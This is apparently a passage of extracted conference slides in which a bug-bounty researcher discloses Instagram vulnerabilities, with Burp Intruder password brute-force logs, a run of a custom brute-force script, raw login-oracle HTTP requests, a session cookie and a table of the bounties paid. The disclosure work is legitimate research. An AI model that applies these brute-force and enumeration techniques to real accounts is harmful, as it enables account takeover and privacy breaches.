sessionid=IGSCd064c22cd43d17a15dca6bc3a903cb18e8f9e292a859c9d1289ba268103ee5
63%3A1WJvjHstqAnPj0i5dcjVRpgcn3wCRQgk%3A%7B%22_token_ver%22%3A1%2C
%22_auth_user_id%22%3A2028428082%2C%22_token%22%3A%222028428082%3AYe
ZzCYWQLGD8D7d3NzFlbBiW1YJVVa7G%3A078ae8d72b72846a6431945fd59c38f1b04
b8f93dd6ec4b20165693e65b21915%22%2C%22_auth_user_backend%22%3A%22account
s.backends.CaseInsensitiveModelBackend%22%2C%22last_refreshed%22%3A144103144
5.81182%2C%22_platform%22%3A1%7D; ds_user=pentestingvictim
```



8. Private Account Users Following

```
HTTP/1.1 200 OK
(...SNIP...)
{
    "status": "ok",
    "items": [
        {
            "caption": "",
            "social_context": "Based on follows",
            "user": {
                "username": "springsteen",
                "has_anonymous_profile_picture": false,
                "profile_pic_url": "http://scontent-ams2-1.cdninstagram.com/hphotos-xfa1/t51.2885-19/11370983_1020871741276370_1099684925_a.jpg",
                "full_name": "Bruce Springsteen",
                "pk": "517058514",
                "is_verified": true,
                "is_private": false
            },
            "algorithm": "chaining_refill_algorithm",
            "thumbnail_urls": ["http://scontent-ams2-1.cdninstagram.com/hphotos-xfa1/t51.2885-15/s150x150/e35/11373935_872054516217170_419659415_n.jpg?"]
        }
    ]
}
```



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
8. Private Account Users Following



After reviewing the issue you have reported, we have decided to award you a bounty of \$2,500 USD.




9. Locked Account Takeover



9. Locked Account Takeover

- Verify account via Captcha: 1.099 accounts (0.1%)



9. Locked Account Takeover


- Verify account via email / SMS: 1.960 accounts (0.2%)

The screenshot shows a web browser window for Instagram at the URL https://www.instagram.com/integrity/checkpoint/checkpoint_logged_out_main/. The page displays a large black rectangular redaction box in the center. Below it, the text "Verify Your Account" is centered. A message states: "We noticed some unusual activity on your account. We'll send you a security code to verify your account." Two buttons are present: "Verify by SMS" and "Verify by Email". At the bottom of the page, the Instagram logo is visible.




9. Locked Account Takeover

- Update email address & verify: 1.690 accounts (0.17%)



9. Locked Account Takeover

- Update phone number & verify: 38.808 accounts (3.88%)



9. Locked Account Takeover



After reviewing the issue you have reported, we have decided to award you a bounty of \$5,000 USD.



10. Authentication Credentials Brute-Force

1) Mobile Authentication Brute-force

Intruder attack 53

Results Target Positions Payloads Options

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	"message":
993	tinker	400	<input type="checkbox"/>	549		The password you entered is incorrect. Please try again.
994	cavote	400	<input type="checkbox"/>	549		The password you entered is incorrect. Please try again.
995	infinity	400	<input type="checkbox"/>	549		The password you entered is incorrect. Please try again.
996	inside	400	<input type="checkbox"/>	549		The password you entered is incorrect. Please try again.
997	pepsi	400	<input type="checkbox"/>	549		The password you entered is incorrect. Please try again.
998	letmein1	400	<input type="checkbox"/>	549		The password you entered is incorrect. Please try again.
999	bang	400	<input type="checkbox"/>	549		The password you entered is incorrect. Please try again.
1000	control	400	<input type="checkbox"/>	549		The password you entered is incorrect. Please try again.
1001	hercules	400	<input type="checkbox"/>	600		The username you entered doesn't appear to belong to an account. Please check your username and try again.
1002	morris	400	<input type="checkbox"/>	600		The username you entered doesn't appear to belong to an account. Please check your username and try again.
1003	james1	400	<input type="checkbox"/>	600		The username you entered doesn't appear to belong to an account. Please check your username and try again.
1004	tickle	400	<input type="checkbox"/>	600		The username you entered doesn't appear to belong to an account. Please check your username and try again.
1005	gawar	400	<input type="checkbox"/>	600		The username you entered doesn't appear to belong to an account. Please check your username and try again.
1006	browns	400	<input type="checkbox"/>	600		The username you entered doesn't appear to belong to an account. Please check your username and try again.
1007	billybob	400	<input type="checkbox"/>	600		The username you entered doesn't appear to belong to an account. Please check your username and try again.

Request Response

Raw Headers Hex

```
HTTP/1.1 400 BAD REQUEST
Content-Language: en
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Vary: Cookie, Accept-Language
X-Forwarded-For: 127.0.0.1
X-Forwarded-Ssl: Everywhere
True
Pragma: no-cache
Cache-Control: private, no-cache, no-store, must-revalidate
Date: Mon, 28 Dec 2015 00:25:48 GMT
Content-Type: application/json
Set-Cookie: csrfToken=038f0b264ff6ece726ef4123f8719a53; expires=Mon, 26-Dec-2016 00:25:48 GMT; Max-Age=31449600; Path=/
Connection: close
Content-Length: 136

{"status":"fail","message":"The username you entered doesn't appear to belong to an account. Please check your username and try again."}
```

2 < + > Type a search term 0 matches

Finished



APPSEC
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ROMA
MMXVI

10. Authentication Credentials Brute-Force

1) Mobile Authentication Brute-force

The screenshot shows an "Intruder attack 53" interface with a table of results. The columns are Request, Payload, Status, Error, Timeout, Length, and "message". The "message" column contains repeated errors: "The username you entered doesn't appear to belong to an account. Please check your username and try again." An attempt for "anookie" at index 2000 has a status of 549 and the same error message, highlighted with a yellow background.

Request	Payload	Status	Error	Timeout	Length	"message"
1990	michel	400			600	The username you entered doesn't appear to belong to an account. Please check your username and try again.
1991	147258	400			600	The username you entered doesn't appear to belong to an account. Please check your username and try again.
1992	female	400			600	The username you entered doesn't appear to belong to an account. Please check your username and try again.
1993	bugger	400			600	The username you entered doesn't appear to belong to an account. Please check your username and try again.
1994	buffett	400			600	The username you entered doesn't appear to belong to an account. Please check your username and try again.
1995	bryna	400			600	The username you entered doesn't appear to belong to an account. Please check your username and try again.
1996	hell	400			600	The username you entered doesn't appear to belong to an account. Please check your username and try again.
1997	kristina	400			600	The username you entered doesn't appear to belong to an account. Please check your username and try again.
1998	mosson	400			600	The username you entered doesn't appear to belong to an account. Please check your username and try again.
1999	2020	400			600	The username you entered doesn't appear to belong to an account. Please check your username and try again.
2000	anookie	400			549	The password you entered is incorrect. Please try again.
2001	sprint	400			600	The username you entered doesn't appear to belong to an account. Please check your username and try again.
2002	thanks	400			549	The password you entered is incorrect. Please try again.
2003	jericho	400			600	The username you entered doesn't appear to belong to an account. Please check your username and try again.
2004	102030	400			549	The password you entered is incorrect. Please try again.
2005	grace	400			600	The username you entered doesn't appear to belong to an account. Please check your username and try again.
2006	fuckin	400			549	The password you entered is incorrect. Please try again.
2007	7ready	400			600	The username you entered doesn't appear to belong to an account. Please check your username and try again.
2008	ranger1	400			549	The password you entered is incorrect. Please try again.
2009	trebor	400			600	The username you entered doesn't appear to belong to an account. Please check your username and try again.
2010	deepthroat	400			549	The password you entered is incorrect. Please try again.

Below the table, there are tabs for Request, Response, Raw, Headers, and Hex. The Headers tab shows the following:

```
HTTP/1.1 400 BAD REQUEST
Content-Language: en
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Vary: Cookie, Accept-Language
X-Instagram-Ssl-Everything: True
Pragma: no-cache
Cache-Control: private, no-cache, no-store, must-revalidate
Date: Mon, 28 Dec 2015 00:26:37 GMT
Content-Type: application/json
Set-Cookie: csrfToken=038f0b264ff6ece726ef4123f871a53; expires=Mon, 26-Dec-2016 00:26:37 GMT; Max-Age=31449600; Path=/
Connection: close
Content-Length: 86

{"status": "fail", "message": "The password you entered is incorrect. Please try again."}
```

At the bottom, there are search and filter buttons: ? < + > Type a search term and a button for 0 matches. The status bar shows "Finished".



10. Authentication Credentials Brute-Force

1) Mobile Authentication Brute-force

```
# python instabrutal.py
[INFO] Usage: python instabrutal.py <INSTAGRAM_USERNAME>
<DICTIONARY_FILENAME> <THREADS> [DEBUG]


# python instabrutal.py bruteforceme 10k_most_common.txt 50
[INFO] Creating 50 worker threads...
[INFO] Total # passwords: 10001
[INFO] Total # threads: 50
147.20 pw/s [=] 7% (736/10001) (Good:686 Bad:0 Error:0)
105.00 pw/s ==] 10% (1050/10001) (Good:1000 Bad:272 Error:0)
(...SNIP...)
45.37 pw/s [=====] 99% (9982/10001) (Good:9931 Bad:9924 Error:0)
[SUCCESS] Found the right password: perfectcrime
44.45 pw/s [=====] 100% (10001/10001) (Good:9999 Bad:9992 Error:0)
[End] Total time: 227 seconds
```



APPSEC
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10. Authentication Credentials Brute-Force

2) Web Registration Brute-force



The image shows the Instagram sign-up page. It features the Instagram logo at the top, followed by the text "Sign up to see photos and videos from your friends." Below this is a blue "Log in with Facebook" button. Underneath it, there's a "OR" separator, followed by two input fields: one for email ("contact@arneswinnen.net") and one for username ("Arne Swinnen"). Both fields have checkmarks next to them. Below these is another input field for the password ("arneswinnen8168"), which also has a checkmark. To the right of the password field is a "Forgot password?" link. At the bottom is a large blue "Sign up" button. Below the button, a small note says "By signing up, you agree to our Terms & Privacy Policy."

Request	Response
Raw	Params
Headers	Hex

```
POST /accounts/web_create_ajax/ HTTP/1.1
Host: www.instagram.com
Connection: close
Content-Length: 2095
Origin: https://www.instagram.com
X-Instagram-AJAX: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.103 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: /*
X-Requested-With: XMLHttpRequest
X-CSRFToken: ac71970c1c46de0a8ecb377ffcc61d869
Referer: https://www.instagram.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8, nl;q=0.6
Cookie: mid=VrkGiAAEAAHmeOnh_APLSB8jwte7; ig_pr=2; ig_vw=1439;
csrftoken=ac71970c1c46de0a8ecb377ffcc61d869

email=contact@arneswinnen.net&password=password&username=arneswinnen8168&first_name=Arne+Swinnen&cb=AQDaiXrzp6SlzB1y18lnfj9F1Z03tzclhuYkmNxApS5KWLxGT_8mGGUHGVuMFxp07-WR7cJdZ9O1yjSwLPiGifp
bprvOpznOkv3x5EEpXwESixYB18lqVxF729vEy3a7uYzKxSacsY0gan1q-UjpDscH9Dy4Zeg4igceleTL_LsFBrcToY
22kG3hmz00Ywg-Vu19e2rc0ui29L3RhmgW6o2GfcoouhnMqg&os=0%2C114%2C71%2C85%2C114%2C115%2C130%2C147
%2C375%2C405%2C2413%2C450%2C452%2C462%2C465%2C477%2C496%2C515%2C523%2C527%2C546%2C547%2C560%2C569%2
C602%2C18%2C508%2C519%2C53%2C143%2C144%2C148%2C149%2C152%2C217%2C218%2C2187%2C219%2C237%2C242%2C278%2
C300%2C308%2C321%2C329%2C330%2C348%2C380%2C383%2C400%2C410%2C434%2C438%2C478%2C487%2C488%2C498%2C
514%2C549%2C561%2C572%2C607%2C618%2C649%2C650%2C759%2C4%2C22%2C23%2C32%2C65%2C72%2C114%2C14
%2C217%2C2174%2C2187%2C2189%2C2190%2C2194%2C216%2C217%2C218%2C265%2C284%2C290%2C321%2C328%2C335%2C337
%2C365%2C368%2C377%2C405%2C424%2C435%2C440%2C463%2C473%2C518%2C539%2C543%2C546%2C574%2C612%2C676%
2C711%2C806%2C741%2C828%2C95%2C96%2C97%2C2128%2C134%2C144%2C147%2C150%2C154%2C160%2C177%2C180%2C193%
2C203%2C211%2C218%2C221%2C232%2C233%2C245%2C256%2C270%2C291%2C31%2C348%2C354%2C368%2C382%2C384%2
C433%2C435%2C454%2C5014%2C530%2C532%2C546%2C567%2C592%2C625%2C753%2C718%2C22%2C29%2C30%2C36%2C91%2C
110%2C133%2C140%2C144%2C149%2C157%2C173%2C183%2C188%2C200%2C222%2C249%2C275%2C281%2C291%2C30%2C23
15%2C318%2C341%2C369%2C372%2C378%2C380%2C407%2C408%2C419%2C419%2C556%2C557%2C582%2C586%2C595%2C60
0%2C611%2C660%2C846%7C78%2C9%2C13%2C18%2C26%2C33%2C54%2C81%2C10%2C113%2C119%2C126%2C159%2C173%2C21
84%2C214%2C218%2C229%2C232%2C235%2C269%2C272%2C278%2C286%2C301%2C329%2C333%2C334%2C355%2C366%2C37
2%2C242%2C485%2C500%2C513%2C525%2C601%2C643%2C672%2C676%2C737%2C881%2C6%2C55%2C79%2C101%2C123%2C21
46%2C170%2C178%2C183%2C185%2C198%2C202%2C232%2C238%2C252%2C278%2C284%2C289%2C297%2C306%2C311%2C32
1%2C327%2C335%2C350%2C361%2C392%2C424%2C444%2C446%2C489%2C490%2C516%2C526%2C539%2C545%2C552%2C572
%2C590%2C606%2C609%2C641&guid=VrkGiAAEAAHmeOnh_APLSB8jwte7
```



10. Authentication Credentials Brute-Force

2) Web Registration Brute-force

Request	Response
<p>Raw Params Headers Hex</p> <pre>POST /accounts/web_create_ajax/ HTTP/1.1 Host: www.instagram.com Connection: close Content-Length: 40 Origin: https://www.instagram.com X-Instagram-AJAX: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.103 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: /* X-Requested-With: XMLHttpRequest X-CSRFToken: ac71970clc46de0a8ecb377ffc61d869 Referer: https://www.instagram.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8,nl;q=0.6 Cookie: mid=VrkGiAAEAAHme0Nh_APLSB8jwte7; ig_pr=2; ig_vw=1439; csrf_token=ac71970clc46de0a8ecb377ffc61d869 password=password&username=arneswinnen8168</pre>	<p>Raw Headers Hex</p> <pre>HTTP/1.1 200 OK Strict-Transport-Security: max-age=86400 Content-Language: en Expires: Sat, 01 Jan 2000 00:00:00 GMT Vary: Cookie, Accept-Language Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Date: Mon, 08 Feb 2016 22:01:35 GMT Content-Type: application/json Set-Cookie: csrf_token=ac71970clc46de0a8ecb377ffc61d869; expires=Mon, 06-Feb-2017 22:01:35 GMT; Max-Age=31449600; Path=/ Connection: close Content-Length: 159 {"username": "arneswinnen8168", "status": "ok", "code": 3, "errors": null, "message": "Those credentials belong to an active instagram account", "account_created": false}</pre>



10. Authentication Credentials Brute-Force


2) Web Registration Brute-force

Request	Response
<p>Raw Params Headers Hex</p> <pre>POST /accounts/web_create_ajax/ HTTP/1.1 Host: www.instagram.com Connection: close Content-Length: 47 Origin: https://www.instagram.com X-Instagram-AJAX: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.103 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: /* X-Requested-With: XMLHttpRequest X-CSRFToken: ac71970c1c46de0a8ecb377ffc61d869 Referer: https://www.instagram.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8,nl;q=0.6 Cookie: mid=VrkGiAAEAAHme0Nh_APLSB8jwte7; ig_pr=2; ig_vw=1439; csrf_token=ac71970c1c46de0a8ecb377ffc61d869 password=wrongpassword&username=arneswinnen8168</pre>	<p>Raw Headers Hex</p> <pre>HTTP/1.1 400 BAD REQUEST Strict-Transport-Security: max-age=86400 Content-Language: en Expires: Sat, 01 Jan 2000 00:00:00 GMT Vary: Cookie, Accept-Language Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Date: Mon, 08 Feb 2016 22:01:06 GMT Content-Type: application/json Set-Cookie: csrf_token=ac71970c1c46de0a8ecb377ffc61d869; expires=Mon, 06-Feb-2017 22:01:06 GMT; Max-Age=31449600; Path=/ Connection: close Content-Length: 52 {"status": "fail", "message": "EmailRequiredException"}</pre>



10. Authentication Credentials Brute-Force

2) Web Registration Brute-force



Intruder attack 5

Attack Save Columns

Results Target Positions Payloads Options

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	Comment
9987	inourus	400	<input type="checkbox"/>	<input type="checkbox"/>	635	
9988	honeydew	400	<input type="checkbox"/>	<input type="checkbox"/>	635	
9989	hooters1	400	<input type="checkbox"/>	<input type="checkbox"/>	635	
9990	hoes	400	<input type="checkbox"/>	<input type="checkbox"/>	635	
9991	howie	400	<input type="checkbox"/>	<input type="checkbox"/>	635	
9992	hevnm4	400	<input type="checkbox"/>	<input type="checkbox"/>	635	
9993	hugohugo	400	<input type="checkbox"/>	<input type="checkbox"/>	635	
9994	eighty	400	<input type="checkbox"/>	<input type="checkbox"/>	635	
9995	epson	400	<input type="checkbox"/>	<input type="checkbox"/>	635	
9996	evangeli	400	<input type="checkbox"/>	<input type="checkbox"/>	635	
9997	eeeeel	400	<input type="checkbox"/>	<input type="checkbox"/>	635	
9998	eyphed	400	<input type="checkbox"/>	<input type="checkbox"/>	635	
9999	perfectcrime	400	<input type="checkbox"/>	<input type="checkbox"/>	635	
10000	passwords	400	<input type="checkbox"/>	<input type="checkbox"/>	635	
10001	passwd	200	<input type="checkbox"/>	<input type="checkbox"/>	734	

Request Response

Raw Headers Hex

HTTP/1.1 200 OK
Strict-Transport-Security: max-age=86400
Content-Language: en
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Vary: Cookie, Accept-Language
Pragma: no-cache
Cache-Control: private, no-cache, no-store, must-revalidate
Date: Mon, 08 Feb 2016 21:39:20 GMT
Content-Type: application/json
Set-Cookie: csrfToken=ac71970c1c46de0a8ecb377ffc61d869; expires=Mon, 06-Feb-2017 21:39:20 GMT; Max-Age=31449600; Path=/
Set-Cookie: mid=VrKLBwAEAAHnvRq4AvweJlg0a8e_; expires=Sun, 03-Feb-2036 21:39:20 GMT; Max-Age=630720000; Path=/
Connection: close
Content-Length: 159

{"username": "arneswinnen8168", "status": "ok", "code": 3, "errors": null, "message": "Those credentials belong to an active Instagram account", "account_created": false}



10. Authentication Credentials Brute-Force



After reviewing the issues you have reported, we have decided to award you a combined bounty of \$5,000 USD.





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CONCLUSION

Conclusion

#	Vulnerability	Bounty
1	Web Server Directory Enumeration	\$500
2	Email Address Account Enumeration	\$750
3	*****	\$750
4	Private Account Shared Pictures Entropy	\$1000
5	Private Account Shared Pictures CSRF	\$1000
6	Account Takeover via Email Change	\$2000
7	Steal Money via Premium Numbers	\$2000 + 1
8	Private Account Users Following	\$2500
9	Locked Account Takeover	\$5000
10	Authentication Credentials Brute-Force	\$5000
	Total	\$20500+ 1



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Conclusion



<https://www.letuschange.net>

#	Vulnerability	Bounty
1	Web Server Directory Enumeration	\$1000
2	Email Address Account Enumeration	\$1500
3	*****	\$750
4	Private Account Shared Pictures Entropy	\$1000
5	Private Account Shared Pictures CSRF	\$2000
6	Account Takeover via Email Change	\$2000
7	Steal Money via Premium Numbers	\$4000 + 1
8	Private Account Users Following	\$2500
9	Locked Account Takeover	\$5000
10	Authentication Credentials Brute-Force	\$5000
	Total	\$24750 + 1

Conclusion



Hunting

Reporting

Disclosing

Thank you! Any Questions?



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